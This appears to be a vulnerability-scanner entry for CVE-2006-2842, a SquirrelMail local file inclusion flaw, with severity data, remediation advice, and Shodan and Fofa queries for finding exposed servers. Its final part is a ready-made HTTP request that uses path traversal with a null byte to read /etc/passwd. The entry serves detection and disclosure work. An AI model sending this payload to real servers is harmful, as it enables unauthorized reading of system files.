| Title | Squirrelmail <=1.4.6 - Local File Inclusion |
|---|---|
| Author | dhiyaneshDk |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Upgrade Squirrelmail to a version higher than 1.4.6 or apply the necessary patches to fix the LFI vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.0094 |
| CVE ID | CVE-2006-2842 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"squirrelmail"cpe:"cpe:2.3:a:squirrelmail:squirrelmail" |
| Fofa Query | title="squirrelmail" |
| Tags | cve cve2006 lfi squirrelmail edb vuln |
SquirrelMail 1.4.6 and earlier versions are susceptible to a PHP local file inclusion vulnerability in functions/plugin.php if register_globals is enabled and magic_quotes_gpc is disabled. This allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter.
GET /src/redirect.php?plugins[]=../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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